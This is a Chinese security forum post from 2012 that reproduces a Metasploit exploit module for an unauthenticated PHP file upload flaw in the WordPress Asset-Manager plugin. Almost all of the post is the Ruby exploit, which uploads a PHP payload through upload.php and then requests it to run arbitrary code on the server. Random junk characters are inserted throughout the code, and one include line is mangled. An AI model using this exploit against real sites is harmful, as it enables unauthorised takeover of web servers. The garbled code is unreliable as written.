找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2003|回复: 0
打印 上一主题 下一主题

WordPress Asset-Manager PHP文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:22:33 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
/ i' B( t6 w6 m4 N7 L- G. z& q8 i8 i. A/ H+ K
##( u! [% e( e9 ]# t9 f# r6 q
# This file is part of the Metasploit Framework and may be subject to
/ E1 @' y4 T$ I- L7 W! i& H# redistribution and commercial restrictions. Please see the Metasploit( x) j' y+ r5 V6 j
# Framework web site for more information on licensing and terms of use., L5 M/ |9 U6 J
#   http://metasploit.com/framework/
" I' B6 H. i# ]##1 ?0 ^- \1 L7 [4 K3 d
  D. ]( F7 E' A: o/ t
require 'msf/core'
& C  Q/ d4 n4 _1 u% |require 'msf/core/exploit/php_exe': G4 x' q; t+ t. o/ u

' \& K1 y+ |# _class Metasploit3 < Msf::Exploit::Remote" C$ G2 L, W4 D) p$ U* b
  Rank = ExcellentRanking1 y& R- Q3 U0 |
3 M' g  A4 l5 [7 z5 j
  include Msf::Exploit::Remote::HttpClient5 @! _& F; c4 t: R, z1 ]
  include Msf::Exploit:hpEXE+ I6 o/ f0 h! b1 t  J  K5 o- k

. h& w% T! z" ]7 j  def initialize(info = {}): u; ]9 e2 q/ Y6 r! G" G. H& y! Z
    super(update_info(info,* f& y3 D/ Q- D( ^4 Q. _! H
      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',, m1 n$ A$ m) b  W+ v
      'Description'    => %q{# R4 P; v% O1 _$ A$ v* X2 N
        This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress: M7 C6 i% h, ?" k
        plugin.  By abusing the upload.php file, a malicious user can upload a file to a
; S4 ?/ Q, ^/ e0 ]8 `        temp directory without authentication, which results in arbitrary code execution.' s% n$ U1 k: @
      },
- R/ N3 |* M( \& I3 G      'Author'         =># ^7 ?  [% n! a: `& M# L
        [
+ q* H' |: y$ \; J# }) l          'Sammy FORGIT', # initial discovery
+ d. e' g7 n# ?4 x          'James Fitts <fitts.james[at]gmail.com>' # metasploit module* `$ D$ y7 q  O' P0 u5 d
        ],0 b% [$ |* x5 G( M
      'License'        => MSF_LICENSE,0 \% z+ }: z- o  R# J0 ^
      'References'     =>
: y1 u, u+ G( \7 S$ |) v2 |        [9 a" E( P7 L+ H' Y
          [ 'OSVDB', '82653' ],  ^$ P, Z0 }. e7 H( P2 J& X
          [ 'BID', '53809' ],2 ^) D: H, R! D1 p! {' `1 N
          [ 'EDB', '18993' ],
& j5 N5 \; @0 R2 a1 D- |8 |          [ 'URL', 'http:// www.myhack58.com /' ]9 I" T* t7 s- d( O
        ],1 ~+ |8 r  o2 V( B  Q' N) Y
      'Payload'       =>4 P5 {; }" R4 F
        {( Z$ ^% L5 ^7 l
          'BadChars' => "\x00",
, ~. w1 R& E1 F, G2 I        },, D: K! L0 n8 F( g6 k1 w
      'Platform'       => 'php',
4 T! e% K1 c- l& h6 q9 }/ ]$ }2 z5 A, r      'Arch'           => ARCH_PHP,
: j8 }3 l6 L7 c1 Y, w- F7 m  d      'Targets'        =>! S6 `( e9 S4 i5 E  Y3 }. m* K
        [' X2 p! P6 E) B( \1 Q5 j$ P
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],( n( k# P; {8 [/ P: D" W) J
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]% x' |5 Z. g8 S6 H* a) R
        ],' }* P0 ^7 M7 x
      'DefaultTarget' => 0,
" D2 V8 A2 }7 X" n% a      'DisclosureDate' => 'May 26 2012'))
. T; d7 t2 b! q: e: R9 c, } + f7 L( }& Z7 Q
    register_options(
# @5 Q! \7 J8 q' E* m- U      [6 q# m" l/ u( q& ^* Q
        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])2 Y$ D# U7 _; X# @
      ], self.class)
$ f1 p4 c+ G- t' i8 l* i8 T  end
5 N! l' ^' p* S3 n
: B5 y& A: ~9 a# C  def exploit1 ^2 S* _" w4 V; k
    uri =  target_uri.path
% ]8 V; ~- {2 o& Q9 P    uri << '/' if uri[-1,1] != '/') ?- ?8 [8 r; T8 d
    peer = "#{rhost}:#{rport}"
7 y" s* }2 R1 I& I    payload_name = "#{rand_text_alpha(5)}.php"
0 S+ x& [. ^  Y# `% J: }) ]2 w    php_payload = get_write_exec_payload(:unlink_self=>true)- k* l/ A' L) N+ s8 V* L

3 ^) T2 a2 B8 Q( `$ G3 D0 C2 O    data = Rex::MIME::Message.new9 l* x' m5 I5 i1 P
    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")) B/ O3 A  }0 ~4 A+ q
    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
* `0 {7 o9 y8 T: [. {. U3 O
2 _2 b" K9 {1 b) }0 w    print_status("#{peer} - Uploading payload #{payload_name}")* j4 C2 L, C7 N7 {: ?
    res = send_request_cgi({/ x5 J( W+ g: H
      'method'  => 'POST',. X0 q& U- I  O/ S  d
      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",& @2 h% \* y6 ^
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",4 D2 [; {* E; Z& H. ?% k6 f
      'data'    => post_data
1 ]3 O- u! K. @+ k    })
* l0 r8 l" Z0 X/ Z0 w
5 Z5 j, e) s! \8 C4 o    if not res or res.code != 200 or res.body !~ /#{payload_name}/: N/ G6 D6 w% C2 Z, I# E& C: {/ O
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
! f1 @  t$ C6 J( A' tend
; c3 k+ S. O* ?7 Q3 V; j# k - a/ E. |+ \4 f3 I+ ^9 s
    print_status("#{peer} - Executing payload #{payload_name}")& w/ J' {% y" O* S( x- O2 A
    res = send_request_raw({8 `) B, O" g0 F/ Y
      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
* I  B! n9 R- g. @4 f$ R0 l      'method'  => 'GET'' S9 Y* w9 m7 K7 q8 O
    })3 L6 w( c# f; B, j

+ k6 l9 J  p( T- l) K    if res and res.code != 200( Z- K& Y5 M7 G  ]: o0 N; @1 o
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")8 M; ]- {% p$ Y5 w3 }
    end! e3 R8 ]/ {+ z, u2 |. d( k
  end
; O* H2 ?; A+ S; k& ?' W- oend
  L2 r/ q# s; h  i& l! i/ y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表